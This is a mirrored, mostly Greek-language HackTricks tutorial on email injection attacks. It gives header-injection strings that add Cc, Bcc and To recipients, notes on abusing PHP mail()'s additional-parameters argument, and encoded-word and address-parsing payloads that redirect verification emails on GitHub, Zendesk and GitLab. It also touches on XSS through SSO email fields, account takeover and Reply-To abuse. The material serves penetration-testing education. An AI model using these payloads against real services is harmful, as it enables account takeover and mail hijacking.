mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
237 lines
18 KiB
Markdown
237 lines
18 KiB
Markdown
# Email Injections
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
|
||
Αποκτήστε πρόσβαση σήμερα:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|
||
|
||
{% hint style="success" %}
|
||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Υποστηρίξτε το HackTricks</summary>
|
||
|
||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Εισαγωγή σε αποσταλμένο e-mail
|
||
|
||
### Εισαγωγή Cc και Bcc μετά το επιχείρημα αποστολέα
|
||
```
|
||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||
```
|
||
Το μήνυμα θα σταλεί στους λογαριασμούς του παραλήπτη και του παραλήπτη1.
|
||
|
||
### Inject argument
|
||
```
|
||
From:sender@domain.com%0ATo:attacker@domain.com
|
||
```
|
||
Το μήνυμα θα σταλεί στον αρχικό παραλήπτη και στον λογαριασμό του επιτιθέμενου.
|
||
|
||
### Inject Subject argument
|
||
```
|
||
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||
```
|
||
Ο ψεύτικος τίτλος θα προστεθεί στον αρχικό τίτλο και σε ορισμένες περιπτώσεις θα τον αντικαταστήσει. Εξαρτάται από τη συμπεριφορά της υπηρεσίας email.
|
||
|
||
### Αλλαγή του σώματος του μηνύματος
|
||
|
||
Εισάγετε μια αλλαγή γραμμής δύο γραμμών, στη συνέχεια γράψτε το μήνυμά σας για να αλλάξετε το σώμα του μηνύματος.
|
||
```
|
||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||
```
|
||
### Εκμετάλλευση της συνάρτησης mail() της PHP
|
||
```bash
|
||
# The function has the following definition:
|
||
|
||
php --rf mail
|
||
|
||
Function [ <internal:standard> function mail ] {
|
||
- Parameters [5] {
|
||
Parameter #0 [ <required> $to ]
|
||
Parameter #1 [ <required> $subject ]
|
||
Parameter #2 [ <required> $message ]
|
||
Parameter #3 [ <optional> $additional_headers ]
|
||
Parameter #4 [ <optional> $additional_parameters ]
|
||
}
|
||
}
|
||
```
|
||
#### Η 5η παράμετρος ($additional\_parameters)
|
||
|
||
Αυτή η ενότητα θα βασιστεί στο **πώς να καταχραστεί αυτή η παράμετρος υποθέτοντας ότι ένας επιτιθέμενος την ελέγχει**.
|
||
|
||
Αυτή η παράμετρος θα προστεθεί στη γραμμή εντολών που θα χρησιμοποιεί το PHP για να καλέσει το δυαδικό sendmail. Ωστόσο, θα καθαριστεί με τη λειτουργία `escapeshellcmd($additional_parameters)`.
|
||
|
||
Ένας επιτιθέμενος μπορεί να **εισάγει πρόσθετες παραμέτρους για το sendmail** σε αυτή την περίπτωση.
|
||
|
||
#### Διαφορές στην υλοποίηση του /usr/sbin/sendmail
|
||
|
||
Η διεπαφή **sendmail** παρέχεται από το λογισμικό MTA email (Sendmail, Postfix, Exim κ.λπ.) που είναι εγκατεστημένο στο σύστημα. Αν και η **βασική λειτουργικότητα** (όπως οι παράμετροι -t -i -f) παραμένει η **ίδια** για λόγους συμβατότητας, **άλλες λειτουργίες και παράμετροι** διαφέρουν σημαντικά ανάλογα με το MTA που είναι εγκατεστημένο.
|
||
|
||
Ακολουθούν μερικά παραδείγματα διαφορετικών σελίδων man της εντολής/διεπαφής sendmail:
|
||
|
||
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
||
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
||
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
||
|
||
Ανάλογα με την **προέλευση του δυαδικού sendmail**, έχουν ανακαλυφθεί διαφορετικές επιλογές για να τις καταχραστούν και να **διαρρεύσουν αρχεία ή ακόμα και να εκτελέσουν αυθαίρετες εντολές**. Δείτε πώς στο [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||
|
||
## Εισαγωγή στο όνομα email
|
||
|
||
{% hint style="danger" %}
|
||
Σημειώστε ότι αν καταφέρετε να δημιουργήσετε έναν λογαριασμό σε μια υπηρεσία με αυθαίρετο όνομα τομέα (όπως Github, Gitlab, CloudFlare Zero trust...) και να τον επαληθεύσετε λαμβάνοντας το email επαλήθευσης στη διεύθυνση email σας, μπορεί να μπορέσετε να αποκτήσετε πρόσβαση σε ευαίσθητες τοποθεσίες της εταιρείας-θύματος
|
||
{% endhint %}
|
||
|
||
### Αγνοημένα μέρη ενός email
|
||
|
||
Οι συμβολισμοί: **+, -** και **{}** σε σπάνιες περιπτώσεις μπορούν να χρησιμοποιηθούν για ετικετοποίηση και αγνοούνται από τους περισσότερους διακομιστές email
|
||
|
||
* Π.χ. john.doe+intigriti@example.com → john.doe@example.com
|
||
|
||
**Σχόλια μέσα σε παρενθέσεις ()** στην αρχή ή στο τέλος θα αγνοηθούν επίσης
|
||
|
||
* Π.χ. john.doe(intigriti)@example.com → john.doe@example.com
|
||
|
||
### Παράκαμψη λίστας επιτρεπόμενων
|
||
|
||
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||
|
||
### Αποσπάσματα
|
||
|
||
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||
|
||
### IPs
|
||
|
||
Μπορείτε επίσης να χρησιμοποιήσετε IPs ως ονόματα τομέα μεταξύ αγκυλών:
|
||
|
||
* john.doe@\[127.0.0.1]
|
||
* john.doe@\[IPv6:2001:db8::1]
|
||
|
||
### Κωδικοποίηση Email
|
||
|
||
Όπως εξηγήθηκε σε [**αυτή την έρευνα**](https://portswigger.net/research/splitting-the-email-atom), τα ονόματα email μπορούν επίσης να περιέχουν κωδικοποιημένους χαρακτήρες:
|
||
|
||
* **PHP 256 overflow**: Η λειτουργία `chr` του PHP θα συνεχίσει να προσθέτει 256 σε έναν χαρακτήρα μέχρι να γίνει θετικός και στη συνέχεια να εκτελέσει την επιχείρηση `%256`.
|
||
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
|
||
|
||
{% hint style="success" %}
|
||
Ο στόχος αυτού του κόλπου είναι να καταλήξετε με μια εισαγωγή όπως `RCPT TO:<"collab@psres.net>collab"@example.com>`\
|
||
που θα στείλει το email επαλήθευσης σε μια διαφορετική διεύθυνση email από την αναμενόμενη (έτσι ώστε να εισαχθεί μια άλλη διεύθυνση email μέσα στο όνομα email και να σπάσει τη σύνταξη κατά την αποστολή του email)
|
||
{% endhint %}
|
||
|
||
Διαφορετικές κωδικοποιήσεις:
|
||
```bash
|
||
# Format
|
||
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
|
||
|
||
# =? -> Start of encode
|
||
# utf-8 -> encoding used
|
||
# ? -> separator
|
||
# q -> type of encoding
|
||
# ? -> separator
|
||
# =41=42=43 -> Hex encoded data
|
||
# ?= end of encoding
|
||
|
||
# Other encodings, same example:
|
||
# iso-8859-1
|
||
=?iso-8859-1?q?=61=62=63?=hi@example.com
|
||
# utf-8
|
||
=?utf-8?q?=61=62=63?=hi@example.com
|
||
# utf-7
|
||
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
|
||
# q encoding + utf-7
|
||
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
|
||
# base64
|
||
=?utf-8?b?QUJD?=hi@example.com
|
||
# bas64 + utf-7
|
||
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
|
||
#punycode
|
||
x@xn--svg/-9x6 → x@<svg/
|
||
```
|
||
Payloads:
|
||
|
||
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
|
||
* Σημειώστε τον κωδικοποιημένο `@` ως =40, τον κωδικοποιημένο `>` ως `=3e` και το null ως `=00` 
|
||
* Θα στείλει το email επιβεβαίωσης στο `collab@psres.net`
|
||
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
|
||
* Ίδιο κόλπο όπως πριν αλλά προσθέτοντας κάποιο κανονικό απόσπασμα στην αρχή και κωδικοποιημένο απόσπασμα `=22` πριν από τον κωδικοποιημένο `@` και στη συνέχεια ξεκινώντας και κλείνοντας κάποια αποσπάσματα πριν από το επόμενο email για να διορθωθεί η σύνταξη που χρησιμοποιείται εσωτερικά από το Zendesk
|
||
* Θα στείλει το email επιβεβαίωσης στο `collab@psres.net`
|
||
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
|
||
* Σημειώστε τη χρήση του υπογράμμου ως κενό για να διαχωρίσετε τη διεύθυνση
|
||
* Θα στείλει το email επιβεβαίωσης στο `collab@psres.net`
|
||
* Punycode: Χρησιμοποιώντας το Punycode ήταν δυνατό να εισαχθεί μια ετικέτα `<style` στο Joomla και να την κακοποιηθεί για να κλέψει το CSRF token μέσω CSS exfiltration.
|
||
|
||
#### Tooling
|
||
|
||
* Υπάρχει ένα **Burp Suite Turbo Intruder script** για να δοκιμάσετε αυτούς τους τύπους συνδυασμών για να επιτεθείτε σε μορφές email. Το script έχει ήδη πιθανά λειτουργικούς συνδυασμούς.
|
||
* Είναι επίσης δυνατό να χρησιμοποιήσετε το [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) για να δημιουργήσετε μια επίθεση διαχωρισμού email
|
||
|
||
### Other vulns
|
||
|
||
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
|
||
|
||
## Third party SSO
|
||
|
||
### XSS
|
||
|
||
Ορισμένες υπηρεσίες όπως **github** ή **salesforce επιτρέπουν** να δημιουργήσετε μια **διεύθυνση email με XSS payloads πάνω της**. Αν μπορείτε **να χρησιμοποιήσετε αυτούς τους παρόχους για να συνδεθείτε σε άλλες υπηρεσίες** και αυτές οι υπηρεσίες **δεν καθαρίζουν** σωστά το email, θα μπορούσατε να προκαλέσετε **XSS**.
|
||
|
||
### Account-Takeover
|
||
|
||
Αν μια **υπηρεσία SSO** σας επιτρέπει να **δημιουργήσετε έναν λογαριασμό χωρίς να επαληθεύσετε τη δεδομένη διεύθυνση email** (όπως **salesforce**) και στη συνέχεια μπορείτε να χρησιμοποιήσετε αυτόν τον λογαριασμό για να **συνδεθείτε σε μια διαφορετική υπηρεσία** που **εμπιστεύεται** τη salesforce, θα μπορούσατε να αποκτήσετε πρόσβαση σε οποιονδήποτε λογαριασμό.\
|
||
_Σημειώστε ότι η salesforce υποδεικνύει αν το δεδομένο email έχει επαληθευτεί ή όχι, αλλά η εφαρμογή θα πρέπει να λάβει υπόψη αυτές τις πληροφορίες._
|
||
|
||
## Reply-To
|
||
|
||
Μπορείτε να στείλετε ένα email χρησιμοποιώντας _**From: company.com**_ και _**Replay-To: attacker.com**_ και αν οποιαδήποτε **αυτόματη απάντηση** σταλεί λόγω του ότι το email στάλθηκε **από** μια **εσωτερική διεύθυνση**, ο **επιτιθέμενος** μπορεί να είναι σε θέση να **λάβει** αυτήν την **απάντηση**.
|
||
|
||
## Hard Bounce Rate
|
||
|
||
Ορισμένες υπηρεσίες, όπως η AWS, εφαρμόζουν ένα όριο γνωστό ως **Hard Bounce Rate**, που συνήθως ορίζεται στο 10%. Αυτό είναι ένα κρίσιμο μέτρο, ειδικά για υπηρεσίες αποστολής email. Όταν αυτό το ποσοστό ξεπεραστεί, η υπηρεσία, όπως η υπηρεσία email της AWS, μπορεί να ανασταλεί ή να αποκλειστεί.
|
||
|
||
Ένα **hard bounce** αναφέρεται σε ένα **email** που έχει επιστραφεί στον αποστολέα επειδή η διεύθυνση του παραλήπτη είναι άκυρη ή ανύπαρκτη. Αυτό μπορεί να συμβεί για διάφορους λόγους, όπως το **email** να έχει σταλεί σε μια ανύπαρκτη διεύθυνση, σε έναν τομέα που δεν είναι πραγματικός ή η άρνηση του διακομιστή του παραλήπτη να αποδεχτεί **emails**.
|
||
|
||
Στο πλαίσιο της AWS, αν στείλετε 1000 emails και 100 από αυτά καταλήξουν σε hard bounces (λόγω λόγων όπως άκυρες διευθύνσεις ή τομείς), αυτό θα σήμαινε ποσοστό hard bounce 10%. Η επίτευξη ή η υπέρβαση αυτού του ποσοστού μπορεί να προκαλέσει την AWS SES (Simple Email Service) να αποκλείσει ή να αναστείλει τις δυνατότητες αποστολής email σας.
|
||
|
||
Είναι κρίσιμο να διατηρείτε ένα χαμηλό ποσοστό hard bounce για να διασφαλίσετε αδιάλειπτη υπηρεσία email και να διατηρήσετε τη φήμη του αποστολέα. Η παρακολούθηση και η διαχείριση της ποιότητας των διευθύνσεων email στις λίστες αποστολής σας μπορεί να βοηθήσει σημαντικά στην επίτευξη αυτού.
|
||
|
||
Για περισσότερες λεπτομέρειες, μπορείτε να ανατρέξετε στην επίσημη τεκμηρίωση της AWS σχετικά με την αντιμετώπιση bounces και παραπόνων [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||
|
||
## References
|
||
|
||
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
||
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
||
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|